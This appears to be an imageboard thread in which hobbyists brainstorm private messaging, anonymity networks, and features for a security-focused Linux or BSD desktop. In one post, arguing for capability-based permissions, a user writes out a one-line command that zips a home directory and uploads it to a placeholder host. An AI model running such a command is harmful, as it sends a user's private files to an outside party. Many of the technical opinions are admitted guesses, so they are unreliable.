>>78146 > I agree. I almost wonder something low tech (say for example a telnet or ssh ANSI BBS that have been coming back recently) for just messaging.. >And then using that can coordinate some higher level function (say some opensource voice or video protocol/software) >But I agree there is really a need for simplicity and maybe it would make more sense to build something light and all-encompassing. Well the focus needs to be design sense and functionality plus at least decent privacy and decent security because the average person doesn't really care about anything else and resource usage if they are gamers so you have to keep this in mind to actually beat the mainstream proprietary stuff out there like Discord, Skype (not copy the design it's losing out to Discord), and maybe Zoom. Otherwise you just wind up with another messaging program hardly anyone uses which defeats the purpose because it socially isolates you if you use something hardly anyone uses except for tiny niche groups. I thought it should be possibly XMPP based just because that can cross compatible with other messengers and it seems to be preferred by Lainchanners on /sec/ here over Matrix so maybe there is a good reason. Matrix can't even do p2p which seems to be the main issue but correct me if I am wrong. I mentioned SimpleX as a basis as well just because a discussion on it was recently brought up but I am unsure how good and proven the method it uses is and if it can be compatible with other programs in design or be compatible with voice and audio calls. Ideally it also would be programmed with memory safety to reduce possible exploit possibilities from bad actors. I dont think the goal should be to talk to just any random person but people you meet elsewhere and at least have mild trust of but has some safety measures in place. But like I said I currently can't program so that's why Im just dumping the idea in case I never get to even start attempting such a big task.

Hi guys, (OP) here. Since making the decision to work on a visual novel, I realized that my own lack of motivation and focus towards a project has come from my own lack of vision. No matter how many great ideas I came up with, which seems to be a similar trend for others who are seeking their own GENUINE visions on here, it doesn't lead to a personal connection to these ultimate goals being established to the degree a calling/purpose is supposed to impact me/us. I have given this a lot of thought, and this is what I have found: Backstory, lifestyle, revelation. These three things come about and promote the positive feedback loop of significant memories, and through these memories a personality and personal relationship/connection with a purpose is established. In order to develop the beginning first significant memories that become the chain reaction that is the positive feedback loop previously mentioned, faith/trust in an inspiration must be established. >Where does this inspiration come from? It comes from things that feel to be greater than ourselves, and that experience is relative rather than a logical understanding, because otherwise it's nothing more than just a lifeless education. So, what sort of event/revelation needs to happen to you in order for your 'chosen one moment' to take place within your life? Well, let's say for the sake of practice that something like Greek mythology was a FACT, where gods and goddesses exist as well as realms and Valhalla, what sort of experience would you have within such a context? Nothing in the 'real world' chances, but your experience of what is real is influenced by this context of where you place your faith into, and naturally, since you see/have-a-vision of what the grand scheme has to offer, you naturally have a sense of direction to specifically reach Valhalla, since that is the greatest virtue/heaven/'home' of your spirit to aspire for. If you belong to a story, a world view, a vision, that has an over arching narrative, you'll naturally experience things from the perspective as if you are the main character of that story in a non-narcissistic way, which to what I am aware of, is the best way to experience life. If you wish to have an aspiration, a focused and personal relationship with ANYTHING, you need to feel as though it is something that earns your right to be the main character you believe yourself to be, within the context of the story that is built around that character. My ideal self is powerful and has the archetype/persona/role of a hero and romantic, so I immerse myself within the context/story/destiny of something similar to feeling the need to earn my place in Valhalla. Most people here expect themselves to have the same relentlessness that I'm explaining how to achieve, so, if you wish to prove your worth by doing something great, whether it be being or creating the best computer, visual novel, VR headset, researcher, economist, cyber security, etc, then we should work together to grab the attention of the gods!

>>78151 >El Psy Kongroo [PS, there is a fun exercise that I would also like to share with you all: When listening to songs with artworks of character that have a main character presence to them, but put into the context that these characters are possible gods we are trying to reach and grab the attention of through thousands of years worth of innovation single-handedly, it helps piece together a story/vision in a freethinking sort of way for those who want to entertain themselves daydreaming and understand the significance firsthand of what this revelation means to *me* at least. PPS, please someone let me know what they think about what I have explained and any ideas they get as for what sort of great thing they would like to aspire to do (once again), but now within the context of understanding the aspect of human nature that is responsible for having a grounded vision. PPPS, the links below are some song examples that I personally like: https://www.youtube.com/watch?v=UAxsDVBYZh4&list=RDUAxsDVBYZh4&start_radio=1&ab_channel=RezukoFM https://www.youtube.com/watch?v=BwjJKJK3Y_o&list=RDBwjJKJK3Y_o&start_radio=1&ab_channel=NightblueMusic https://www.youtube.com/watch?v=Kl3_7BbtQNM&ab_channel=NightblueMusic https://www.youtube.com/watch?v=rYgIHuVND5Q&list=RDrYgIHuVND5Q&start_radio=1&ab_channel=NightblueMusic ]

>>78152 >PPS, please someone let me know what they think about what I have explained and any ideas they get as for what sort of great thing they would like to aspire to do (once again), but now within the context of understanding the aspect of human nature that is responsible for having a grounded vision. I think its a really interesting idea. My honest options are that I almost feel It would be easy to get carried away, believing that you are - i don't know - inherently representing some great virtuous ideal. And that belief would cause you make a lot of detached or selfish decisions. But I guess that's where a "grounded vision" comes in :D Also I question this idea as a possible escapism, as in "Having this ultimate honorable vision" as a easy way of escaping self awareness. That might not be a bad thing inherently tho, and maybe thats even beneficial for working hard on goals. But thats just my own bias through thinking and trying ideas like this before. Thinking about goals within the context of human nature: One vague vision / goal I have is to build something - with electronics and maybe tied into computers as well - that really encourages free thought, and that would be the antithesis to technology as its used as a way to control people. Example - An opensource FM transmitter/station, make it easy and cheap to do with documentation/instructions etc. Encouraging pirate radio fits into that goal. as pirate radio empowers people to share what ever ideas, rants, music they want with out any direct censorship to their local community.. So putting the "spreading pirate radio" idea into the context of human nature, I know that part of that desire is probably me projecting my ideas of what I want people to be like. Also a little bit fantasizing a unrealistic recognition or power that is probably just ego-tripping by way of technology. Also more to the point nobody listens to FM lol! So the grounded vision would more like: Work on building transmitters as a hobby - put it online to share it. If someone I meet is interested I can teach them about it, if not that's okay but not gonna force anything. Maybe something cool will come out of it! Its not the most important issue in the world but even just the act of giving people an option would be beneficial. I'm not sure if this what you mean, but hopefully this is helpful or interesting.

>>77626 >universal addressing solves this. give data a permanent fixed address. depends on what you mean by that. If you give data a permanent fixed address based on its meaning then I would agree. But that also means that at beyond point of determining the address, you can't make any more changes to it. I don't think data should be unique and don't consider multiple copies existing around the world to be a bad thing at all, quite the opposite: 1. redundancy and 2. democratising the indexing process. If there is only one way of indexing a file, that seems very limiting and dangerous to me. If you look at traditional libraries around the world, they all have their own indexing logic to determine which category the book would go in. I don't think the universality of the address matters. What matters is that the data itself is summarised intelligently into a small set of metadata that can be distributed cooperatively between creators/indexers. The internet already is just a collection of online databases but the problem is that everyone uses their own protocol and system design and it's usually not open source. On top of that it's often needlessly complex. Rather than universal addressing, I think we need universal indexing, unless that is what you originally meant by 'addressing' of course.

>>77631 Okay so I found out there is something open source similar to Tor but more like iCloud Private Relay. It's Safing's SPN for Portmaster. Unfortunately it doesn't support torrents I heard. I wonder if there is a way it can be improved to do that while still compatible with what they have going so far and set up our own nodes and also make it compatible with meshnets too and of course so we dont have to pay. If anyone knows how to code let us know if this makes sense as being possible or if Safing left things out from the source code. Just a thought. https://safing.io/spn/ https://github.com/safing/spn/

>>77438 Just found your thread and I love the idea! Anybody here seen the GVCS yet? https://wiki.opensourceecology.org/wiki/Main_Page

>>78390 SPN i2p Tor Multiple Identities (simultaneous) Yes Yes Yes Geo-Unblocking Automatic N/A Configurable Individual Apps Settings Yes No No Easy Setup Yes Yes (java i2p) Yes (Tor Browser) Network contribution No Yes (automatic) Yes Network access Paid Free Free Clearnet access Yes No Yes Torrent No? Yes Discouraged I am not knowledgeable enough to compare the security garanties of each network, but from what I see I don't see any reason to prefer SPN to i2p or Tor.

All this talk to end up deciding to make a VN, which is just another game and has nothing to do with how this thread started. I believe the best thing is just to make something and ask if anyone wants to help/join when you already have something to show.

>>78395 Thanks for the chart. I had watched an interview with the creators before where they mention a few things. It's supposed to be much faster than Tor but better than VPNs because im not sure as is but at least once they turn on users being among the connections on the network you dont have to trust they dont log anything just because they say so since it doesnt potentially go to same person or company or government agency and the way it separates out information where no server knows both where it is coming from and where it is going, plus you have to pay for a VPN since free ones are just logging everything you do and maybe selling it and self hosted VPNs only encrypt your traffic from your ISP not hide who you are from websites. Of course this is on the assumption you could somehow get around Safing's fees by forking the code otherwise it is just another paid service and there wouldnt be a point in modifying the code since they can hire people to do that themselves. Tor I dont think is practical for regular use, it is more a special use case thing due to slow speeds and how just using it can potentially get you on a watchlist. i2p is not very secure I think unless i am mistaken, even the Wiki page mentions people getting arrested for torrent piracy using it, but maybe it is more secure these days, i dont know. The advantage is it is more suitable for whole system use due to use with Portmaster, than Tor is it seems to me and it should be easier to set up DNS over TLS or HTTPS Id assume since as far as I am aware you cant do DNS over Tor. For example you couldnt do a videocall over Tor. In theory you could also build an operating system around a fork of SPN / Portmaster similar to Whonix using Tor though im not sure that would even be necessary or not for security. >>78406 At times but sometimes what someone wants to do they arent skilled at enough to go at it alone so it isnt bad to throw ideas around.

>>78390 whats that? i dont speak mac user

>>77501 This is actually cracked, what if we make some P2P or blockchain-like for markdown archives? So everyone could make a website rendering that blockchain with the txid

>>78420 What is what? If you meant what is iCloud Private Relay it is part of a iCloud+ subscription, I haven't used it but to put it plainly it just sends encrypted traffic to an Apple server that only knows who you are but not what address you are going, then that is sent to a third party company server that doesnt know who you are just where you are going in order to reach the destination. Supposedly the UK is wanting to ban it because it would make blocking sites harder. SPN seems to be either same or similar. Likely both unless I am mistaken were just doing a lite version of onion routing to replace traditional VPNs and give a faster alternative to Tor. But main difference is SPN is touted as open source and the end stage in future Safing says would be the users themselves instead of a third party company, currently they run all stages. Im no networking expert though so dont just take my word and im less clear on the finer details.

What would you guys like to see from a distro/OS? I'd like to go forward with the idea first shown here. I could still throw in some ideas if there aren't any

>>78481 I am about to sound more competent than I actually am since I am inexperienced with Linux and BSD and only have currently used Windows 95, Windows XP, Windows 7, MacOS 9, and the older MacOSX plus Android and a bit of iPadOS and some Linux live CD of some distro i used to grab files off a crashed system. Ive not programmed substantially but have done minor stuff in Visual Basic and C++ long ago so i just have a rough idea what programming is like. This is just going off things ive heard and read before. >OpenZFS just sounds nice in that it would make data loss less likely. >Doas instead of Sudo at least as an option. >Non SystemD but plenty of other options as made to work with the system >Option for full disk encryption on install >Option for Anti keylogger measures such as keystroke encryption and maybe same can be done with the mouse but im not sure how needed that is. >DNS over HTTPS and TLS options to run system wide or for specific programs if y ou go all out in making networking program level of control >Option for cam / mic activation indicator icon >Either BSD Jails or some Linux compartments made easy to use im a little unclear on how these differ i only am aware compartments are different from sandboxing >Wayland in the system if anyone needs it which is more secure than X11 >Try to keep it portable so things can be swapped out without breaking the system because not everything requires an overly limited dependency >Good GUI to not constantly have to use scripts and command line stuff which just uses up a lot of time and causes so many headaches. >Customizability of appearance both retro and modern aesthetics so lots of support for different desktop environments and window managers and stuff or make your own that is good on customization >ethernet support >WiFi support >option to install Trusted Boot (tboot) which this is only meant for certain Intel processors but I dont know seems reasonable enough to use >RISCV architecture support >make Bluetooth driver instal optional on installation since some older laptops have no Bluetooth or some people dont use it for security reasons. >support for Zigbee and LoRaWAN which would allow for IoT networking and meshnets >MIDI support for music production >anti AI tech in repository and stuff to use their API stuff like Fawkes, Glaze, Nightshade, LowKey and AntiFake >option for microphone filtering cut off all frequencies at over 9khz or 19kz (VHF and Ultrasonic with some room) and below 21hz for security reasons but be sure for this to be optional because some musical instruments fall outside this range so some people need that and keep in mind i didnt fully research the ranges that youd need to cut off for security reasons this is in a part an educated guess >doesnt crash or cause catastrophe after system updates >image and video thumbnail preview images >every change to the root system requires password every time not just once and go as sort of a compromise short of being immutable which allows more flexibility to the user while adding some security. >file manager that supports column navigation like Pantheon that Elementary OS used which just is copying MacOS but it feels way more friendly design than anything I used on Windows when going through a bunch of files in files which on Windows only option is the arrow method which can be a bit messy in my opinion because you have to manually close them back up. >able to run in virtual machine for testing before going bare metal >systemwide support for JPEG XL >preloaded with all the good video codecs >support for VR devices >notification when something has been added to startup items which acts as a mild security feature in a way but barely There is probably a few other things. Basically a balance between security and ease of use without locking everything down and with good appearance without too heavy of system requirements. A full package. Maybe work in some less popular memory safe languages like Haskell to stand out among others that are using Rust which also will help avoid Rust regulations? Not that I have any favoritism or hate, I dont program. A BSD kernel may be easier to work with than the Linux kernel from what ive heard but if you do that make sure it is something FreeBSD based since it has a Linux compatibility layer to run Linux programs. Just a suggestion, i could be wrong. Only reason Linux is more popular is hangups BSD was having in the past for a while that allowed Linux to grow ive heard. Down side is less hardware compatibility unless you take up task of helping fix that. Anyone is welcome to point out if some of these are particularly bad ideas. I am aware I added a few niche things in there, that is the point. You also should check out the thread also on tech board asking fav OS and distros.

>>78481 Capability based security. Like android, in which program are only allowed some limited capabilities. For example (nowhere near exhaustive or well thought-out): >Internet Access: program can send and receive IP packets >Network Control: program can see and modify interfaces, perform wifi scans, etc >Read/Write Files: program has access to a limited filesystem, for settings, history, etc >Read User Files: program has access to the user's filesystem in a read-only mode >Write User Files: program has access to the user's filesystem in a read-write mode >Use Peripherals: program can access IO devices directly >Full Display: program can access the whole display (including other programs' windows) >Full IO: program can read keyboard/mouse inputs even when unfocused >Run Programs: program can call other programs, but limit them to the calling program's own permissions >Run Programs (Trusted): program can call other programs from a list, inheriting their permissions Common programs would have: shell: >Read User Files >Write User Files >Run Programs (Trusted): all installed programs "Save file dialog": >Read User Files >Write User Files Web Browser: >Internet Access >Read/Write Files >Read User Files >Run Programs (Trusted): "Save file dialog" Screen-capture tool: >Write User Files >Full Display And yes, the window manager should be part of the OS, not a messy add-on like Xorg and Wayland. Contrary to android, the user should have the ability to revoke a program's permissions (for example, to prevent a game from calling home in singleplayer)

>>78485 You mean process isolation and user based permissions I think is what it is called. Is Android based distros really the only one to do this? I think this is done to a smaller degree in a normal Linux but i am not sure. I wonder why this isnt a bigger thing, maybe it causes programs to crash if the permissions arent set up before running? Wayland and X11 (Xorg being a server in X11 if i understand right) are the Windowing System not the Window Manager which do different things. There are a lot of Window Managers and neither Wayland or Xorg are one of them. These are different things. So which did you really mean? I assume you mean the windowing system since from my understanding it is more base level than the window manager which itself is part of a desktop environment. As far as I am aware everything is built to work with X11 or Wayland so if you make something new then you get compatibility issues. Just include Wayland from the start and wouldnt that be good enough as long as the rest of the system plays nicely with it. I get the impression X11 is slowly being depreciated for Wayland due to better security structure and less resource usage.

>>78486 User based permissions is what is done in unixes, and it is like kicking dead whales down the beach. Most applications are run as my user, so it doesn't protect anything (any app that is either malicious or with an rce vuln can run zip -r - /home/me/ | curl -F file=@- http://foo.bar ). The historical reason for user based permissions was to protect users from each others (on mainframes). It can be made to provide some ersatz of capability based security, but it doesn't work for desktop computing in most contexts. I want my browser to let me save and upload files of my choosing, and I want to be sure that it won't do it without my knowledge. As it stands, I have no choice but to trust that firefox devs are somewhat competent >Is Android based distros really the only one to do this? Apparently FreeBSD does it too Yeah, I meant windowing system. How does wayland plays with allowing a singular program to read the whole display (useful for screen captures), or capture all inputs (useful for alternative input methods)?

>>78488 It's pretty easy to make your browser not download what files you dont want, just set it to ask location you want a download every time. It would require a major fuarrrk up to mess that up. Though it would be nice if there was some way that if you want to upload a file you can isolate it so the browser isnt accessing your full amount of files like create a temporary container of just the file and it would be that is what it grabs it from when you send it for upload to help reduce accidental uploads, Im not sure if that is being overly paranoid though and may be too much a hassle unless it is just a feature that can be used but doesnt have to. I had been reading into tons of different Linux distros and into FreeBSD, GhostBSD, OpenBSD, NomadBSD, ReactOS, Haiku, RISC OS. I wasnt aware yet FreeBSD does that, if so that is quite nice since it would be on top of how unless i am mistaken when some major changes are made a password is repeatedly asked which is a minor hassle but it servers for better security without sacrificing much. GhostBSD is just a customized FreeBSD made to be easier to use so you know. Plus FreeBSD has a lot of other features I like just feels like it needs polishing and some more compatibility > How does wayland plays with allowing a singular program to read the whole display (useful for screen captures), or capture all inputs (useful for alternative input methods)? Im not sure if this is a question on how it works or a rhetorical statement on a concern in how it works. I dont know all the details I just know X11/Xorg and Wayland work a little different ways. Unfortunately Wayland has less hardware support than X11 currently i think. It would be difficult to come up with a third option, only other one i am aware of is XQuartz which seems to be some fork of X11 for Macs which themselves are build on top of a BSD system so maybe something in that code can help get an idea how to make Wayland or something entirely new work since X11 seems more compatible with FreeBSD than Wayland without getting into the Linux compatibilit layer from what little i know. I easily couldbe misunderstanding since i still have trouble understanding how all this stuff works. Would be nice if more Linux and BSD devs werent expecting all users to be turbo autist coders rather than people who just want to have a hassle free but relatively secure computer use experience so they can just get to watching their shows, surfing the web or playing their games not constantly troubleshooting or learning command lines.

>>78481 >>78483 Actually never mind what I said about wayland before since it has it's own issues so both x11 and wayland should be supported so people can just choose and some info on the tech thread about wayland one Lain mentioned there is a way to secure X11 which would be nice if that was defaulted to if that were installed. Also scratch what I said about using Haskell. It was kind of just a random example. Apparently the window manager xmonad uses this language and ive seen some people say it is slow and i cant help but wonder if Haskell is harder to program that kind of stuff in causing that? Another feature i forgot to add is support for all the different language characters which i hear often is like kicking dead whales down the beach on Linux. Mainly focus on Japanese and Russian character support first just since these are very internet community present things and because Japanese games and visual novels need to use the characters properly.

>>78489 > Though it would be nice if there was some way that if you want to upload a file you can isolate it so the browser isnt accessing your full amount of files like create a temporary container of just the file and it would be that is what it grabs it from when you send it for upload to help reduce accidental uploads You can do that with firejail.

>>78481 I think I have to write this idea down before I forget. My bad for multiple posts in a row but has it ever been done where file names have invisible characters being in the name identified as such at a glance and color coding of lookalike characters a different color for each variety (for example cyrilic characters could be red while anothother lookalike group green and so on) to prevent visual spoofing from being a thing anymore? This also could be used in programs used for reading code so you can spot lookalike characters snuck into the code and done in links and in the browser URL bar. On top of that the file extension type could also be color coded to identify them more easily even if they have fake icons for another form of visual spoofing. Does anyone think this would make a good security feature? Id be surprised if this isnt already a thing.

>>77445 >>77485 >>77483 >>77489 >>77517 Just to let others know, in relation to the suggestions by some on open source security focused decentralized social VR I did find two open source platforms that could be used as a starting base to improve on either contributing to them or forking them if there is some limitation in the way they are implemented that would cause problems for cooler ways of doing things. Im not sure which of these is better currently without having a VR headset to check myself and not being a programmer currently so i cant just read the code to figure what is written better. https://overte.org/ This one below claims to be decentralized on top of FLOSS but it doesnt really give any details on what it thinks that means. https://vircadia.com/ Self hosting does it mean? Is that really far enough or is decentralized hosting with redundancies as an option for people to choose to allow others help host worlds they like be useful or are mirrors enough to prevent loss of worlds if someone just breaks their server or dies? Dont say blockchains, those would be far too slow from messaging between nodes and use up user resources. Blockchains are not a required tech for decentralized hosting. Or maybe that isnt a good idea. As for 3D / VR website I found but not open source. https://janusvr.com/

Thank you >>78483 >>78485 and the rest of you after who corrected yourselves and gave more suggestions. I'll try to implement as many of these as possible, and I'll get back to all of you when I have questions or progress. What would you want in terms of theming/branding? Here are my ideas, let me know what you think of them. >>78483 says this: >Customizability of appearance both retro and modern aesthetics so lots of support for different desktop environments and window managers and stuff or make your own that is good on customization I really agree with this and want to implement it. Maybe something like how https://github.com/stardust-kyun/dotfiles manages theming? For the retro theme, maybe Chicago95? Or how Devuan handles this? And would this look nicer in terms of a more modern theme? https://nam.is-a.dev/crystal.png https://nam.is-a.dev/freosan.png As for the retro theme, what about something like Chicago95, the default Devuan theme, or Linux Mint's Mint-X themes? Attached are other ideas for a different theme that could maybe be somewhere in between.

Oops, I mentioned Chicago95 and Devuan twice. If I recall correctly, the first screenshot was made with FVWM, the second with either XFCE or Openbox, and the third with a modified version of PWM. Both of the linked images are probably made in AwesomeWM. I don't think it'd be hard to replicate at least some of the screenshots in only one (or maybe several) window managers/desktop environments.

>>78558 Im first Lain that kept spamming ideas. Before i forget i should mention my late night addon post i missed the word "file" when i spoke of names i was talking file names when i said there should be text color indicators of special characters to defeat visual spoofing since it is super simple security measure i havent heard of being worked into operating system level that way as far as i am aware. Usually i only hear of special tools being used which makes it not convenient as this. Now design... Of posted pics I like second with the green most (although it also feels one of the less polished), I like drop shadows providing sense of depth since im used to it on what ive used before and also i like third although i dont quite get what is going on with the top of the windows on third and how you minimize, expand and close windows. First has a stale feeling to it maybe from the colours and simple square symbol design like overly corporate modernist retro minimalism attempt feel to it like an OS that you would have seen in an office seen in the original Matrix movie which isnt necessarily a bad thing just im not feeling it. For the linked images. First one is a bit too dark even for a dark theme and notice how the windows when overlapped you cant tell where one ends and another begins because you have nothing like borders or dropshadows to indicate this. Second one is a little better design wise more professional but seems to suffer similar problem of windows visually blending together when overlapped but also suffers from that modernist minimalist design which is nice to look at but feels bland too. I have mixed feelings on sharp corners. I like seeing modest curves and sharp corners together to compliment eachother. Like could have upper right and lower left corners of windows rounded a bit while rest remain sharp though some people hate rounded corners for seeming too modern. Seems I prefer a very subtle border on windows just a small colour difference to avoid the window blending effect. I tend to like either dark colours with more saturated or pastel accents or all pastel like themes though later is a little harder to colour coordinate. I personaly like desktop bars on bottom but I totally get the logic of people liking it on the side because of screen space, just bottom is what im used to. If by branding you mean some sort of look to get attention then maybe something a bit unique like how Moebuntu (it really is just a theme) has hearts for the window controls which would look better if it was a dark theme with like purple accents for example. But that uses Gnome which a lot hate for some reason usual but a lot like it too, i think it can be used without systemD using workarounds that were made for Devuan i think it was unless i am mistaken. But that might not be for everyone. You may need to make a custom tweaked desktop environment depending what you want things to look like to overcome visual limitations on some desktop environments maybe, not sure. If you could have a sort of glow like look without it being too much an eye sore to match the Navi interface id think many Lains would approve of that i had poste done somewhat useful pic here before >>77651 I just found out about a little known hobby OS called ToaruOS the dev behind it made his own Wayland like windowing system called Yutani. I wonder if that can be used outside the OS and be as compatible as X11 after some tweaking or not. Wouldn't be a point unless it was somehow better than x11 and wayland, setting aside it having a useless but potentially useful feature of window rotation which was likely just seeing if it could be done but if it was limited to 90 degree angles i could see someone potentially actually using that feature if they lay down when using the computer but dont want to rotate the entire monitor but again pointless if it cant even work with existing programs. Like i said Id suggest looking at various threads on Lainchan to get a broader idea of what Lainons like in an OS or what they dislike for appearance you could check out the desktop thread. There also is that one Lainon who is making a Lain themed fork of TempleOS but unlikely anyone will daily drive that. I think in another thread I saw someone else also making some Linux distro. Im just one Lain and I dont even have a working machine to put anything on right now, unless i can resurrect some broken laptops.

>>78558 >>78563 I decided to try to do a mock up of what i meant. Used some random yami kawaii image as colour palette since I am not that great with pairing colours the hearts i chose random colours that just seemed visually close enough to match but probably better exists. Not sure i like it or not though, it is sloppily drawn on a tablet in web browser so it looks more minimalist than intended.

>>78481 Good tutorials, human-readable man pages and documentation, cohesive programming languages and paradigms, and proper integration between the OS, its GUI, and its applications. I know this is pretty vague and nebulous stuff to implement, but my dream OS is one where I can use it without headaches, troubleshoot it without doing a comp-sci course, and to be able to modify and extend it (and its applications) by learning only one or two languages and a sensible, standardized API that applies to the OS and its apps.

>>78610 Definitely that. Though also at least for time being dont want to break too many conventions that will make it so you have to make all the programs from scratch or have to port them, that would take many decades to complete. But yes both Linux and BSD series OSs make things more difficult than they need to be unfortunately in comparison to Windows and macOS. Windows had always been better at user tweaking until more recently while IMO macOS has the superiority of ease of use which is why musicians and visual artists prefer it once you get used to it unless you want to do something more advanced where now it is about same as Windows current is at except less intrusive. In my opinion the Linux community is so much a mess which is why they rarely make any progress in making a usable OS which is why i suggested something based on FreeBSD instead since you still can use Linux programs and via Wine Windows ones too although some with less compatibility unfortunately so im unsure. Im no expert. I think one of the least friendly things is when having to do command line input. Though GUI cant always replace everything so I did some researching and I think Lainon should use for a terminal shell (my bad if using wrong term) that instead of BASH use Z Shell (ZSH) and just use the presets that Majaro set up for their distro because I heard people say those are enough or alternatively could use FISH + Bass which would allow a workaround for FISH not being POSIX compliant. I saw a lot of complaints of Oh My ZSH being very slow and it being better to just set up ZSH manually so could maybe just use presets Majaro uses. Though I also saw people say they find the plugins for Oh My ZSH useful and why it is slow is some sort of settings it used but i couldnt see an agreement on what those settings causing it to be so slow were. I think ZSH might be good enough for ease of use with the auto complete feature and all that similar stuff, ZSH is considered user friendly enough macOS uses it too and it would work either with the FreeBSD or Linux kernel. https://zsh.sourceforge.io/Doc/ Here is Bass which would be difficult to search for if Lain decides to go for FISH instead, it allows using BASH scripts with FISH by converting. However using both FISH and BASH scripts seems like it complicates things IMO. FISH is likely easier for beginners but it would annoy a lot of people used to writing BASH scripts. https://github.com/edc/bass What do you think? Also I was going to suggest being able to tag files and maybe also programs. I did some digging and found this is a huge issue on Linux where it there is not an easy solution because of distro hoppers whereas Windows and macOS do not have issue as bad with tags dissapearing transferring files to external drives etc. Im not sure if FreeBSD has same issue because I did not have luck finding info on tags in FreeBSD (or GhostBSD or whatever). I did find that the Z file system (ZFS) that I previously mentioned before supports Extended Attributes (xattr) which is where you can add tags to the metadata. Im not sure if you can search them this way since searching tags only is done on certain Linux distros but tagging at least is useful for listing genres on music files. Considering FreeBSD uses ZFS I assume you can tag things. I assume that would be a little more user friendly if that works properly. >>78558 Still around dev Lain? Wasnt sure what ideas you were going with and what you are ditching so it is a bit difficult to mention things. In addition to what I mentioned above I also was doing some digging into sound quality since no one wants bad sound. Ive seen some people say they think FreeBSD has better sound quality than Linux and some say better than Windows too while some other say it performs poorly past 85% volume (that probably is their speakers though). If true I assume it is possible some big companies contributed to the code for audio quality like we know macOS has FreeBSD code in it and the PS4 made a fork of FreeBSD for it's operating system. I think it uses PCM4 according to this documentation. https://docs.freebsd.org/en/books/arch-handbook/sound/ Meanwhile Linux is more server focused so im not sure much funding goes into high quality audio or not siince i heard many complaints Linux audio at least by default settings is soykaf because they use settings to work on every setup. Different Linux distros seem to use different solutions to audio many use ALSA + PulseAudio + JACK (which later is like for routing audio signals it seems) and some prefer PipeWire over PulseAudio + JACK because it is simpler to use and some say better audio quality over when using PulseAudio but oddly a lot i found about it in reviews is outdated by several years. I came across a YouTube channel a guy who produces music and sound design using Linux and open source software maybe you could ask him tips or opinions on results or request a video to be made for something you want him to try out. There is probably other's like him but he was first i found. Though if you build off FreeBSD (or GhostBSD which is just same but prebuilt more) based like I suggested previously due to being likely easier to maintain(im no expert though) Im not sure he would even know since he hasnt made a vid showing him try using FreeBSD or the sound system it uses put into Linux. He liked PipeWire until it gave him problems crashing what he uses to produce with but that was two years ago he made that video. https://youtube.com/@unfa00 https://mastodon.social/@unfa I never elaborated on what I was talking about before with the audio frequencies removal. The idea is to give option to the user to not use frequencies in from mic input that could contain ultrasonic beacons sent from say your phone or from a commercial on TV, as well as noise generated from the power grid which can be used to locate you (there is a Tom Scott vid on this), and also there was some cybersecurity tests i read of using AI to take sounds from the monitor to reproduce a picture kind of as a more modern version of Van Eck phreaking so this is why for security you want the option of cutting off frequencies of audio at the system level before it reaches any programs like say if you are in a VOIP call. Technically you could use software for this like Carla or something maybe (no experience) but it might be too much bloat and system resource use some users may claim (they always do though for anything above DOS or a barely desktop usable OpenBSD). Also for speakers isnt just a security thing since many speakers cant produce right frequencies anyway for speakers it just is more to so the user can match or go below the speaker frequency ratings so you are less likely to cause speaker blowout, at least in theory anyway, could be wrong. Im not sure the best technique for this because I am not an audio engineer or even an audiophile or experienced programmer at least not currently.

>>78735 I'll be trying my hand at Linux From Scratch once a new (very old) laptop arrives, as I want to build a very compact system for it and learn how Linux works from the ground up. This should also give me a chance to explore my options with regards to important system tools like package managers, terminals/shells, and file systems, rather than relying on prepackaged distros to decide what's "best" for me. I suppose a carefully curated and heavily documented custom linux distro would be the way to go, provided you don't want to break compatibility with the existing - and expansive - codebase. A user-friendly terminal environment, maybe with a lot of the features that FISH seems to offer, would be a lot less daunting for new users. File system tag support would also be very helpful, preferably with a powerful search function and easy/auto tagging. Figuring out how to ensure that metadata sticks with the files across different OSes/distros/file systems would be a real trick, but it might be possible. More research is required on my end, but I suppose my ultimate goal is to reduce the barriers between human thoughts and computer operation, to make an OS where the Environment, Languages, and Tools are more useful and accessible to solo devs or small teams of anons, rather than something meant to run servers.

>>78747 Okay so Linux based so youd have a lot of stuff to look over although these days there is a lot of overlap between BSD stuff and Linux since a lot of stuff jumps between them so you can mix and match. Package managers are a real problem on Linux. The only thing that is universal format without installing anything else is .appimage format which is similar to how macOS apps or how portable versions of apps are made like I think there was a Firefox Portable at one point i recall, but downside is the larger file sizes. Snap and Flatpak are weird in it makes no sense they are doing the sandboxing when the operating system should be doing that IMO especially so it wouldnt clash with containerization, it is just bad design planning but unfortunately those are only options im aware of that work on multiple distros. The rest is distro specific like the debian and redhat formats. I think ZSH has all the features FISH does as far as I am aware. You may may want to check on that and there is bash vs fish vs zsh comparison videos you can watch to see the features what they look like in action. It just isnt default set up with the bells and whistles that make things easy but you can set it up in the OS to have those enabled out of the box I think and has more tweaking options than FISH which is why I mentioned just swiping the settings Manjaro set up for ZSH as an option or just looking to see how they got it set up but you could also configure it manually. You can see how the different shells "grammar" or syntax or whatever differ here i came across this cross reference of some things. https://hyperpolyglot.org/unix-shells Another thing to consider is filesystem hierarchy / directory structure. You could either keep it how it is in most Linux distros or use one like a lesser known distro called GoboLinux which is basically i heard influenced by macOS's structure which itself copied Acorn's RISC iX (and RISC OS). It did this to make it easier to find things for example if you want to find an icon file in Linux you have to look in any number of locations like /usr/share Instead youd only have to look in /programs and I assume folders for each program contain all their parts. https://gobolinux.org/ Or could make up your own. Im not sure all the pros and cons. Some people find the way Linux does things highly illogical while others would expect the usual annoyances since tutorials expect the norm so id suggest making tutorials for troubleshooting tailored to your own setup so people know what to do if something goes wrong. I also dont know if this effects how programs run or not. Worth looking into. Anything security related parts youd want cues from OpenBSD which eventually make their way to Linux like LibreSSL for example instead of OpenSSL. Im not a security expert but i pay attention to what people who sound like they know they are talking about from level of detail they can go into and the rational used.

>>78748 To add to that some distros dont use package managers at all.

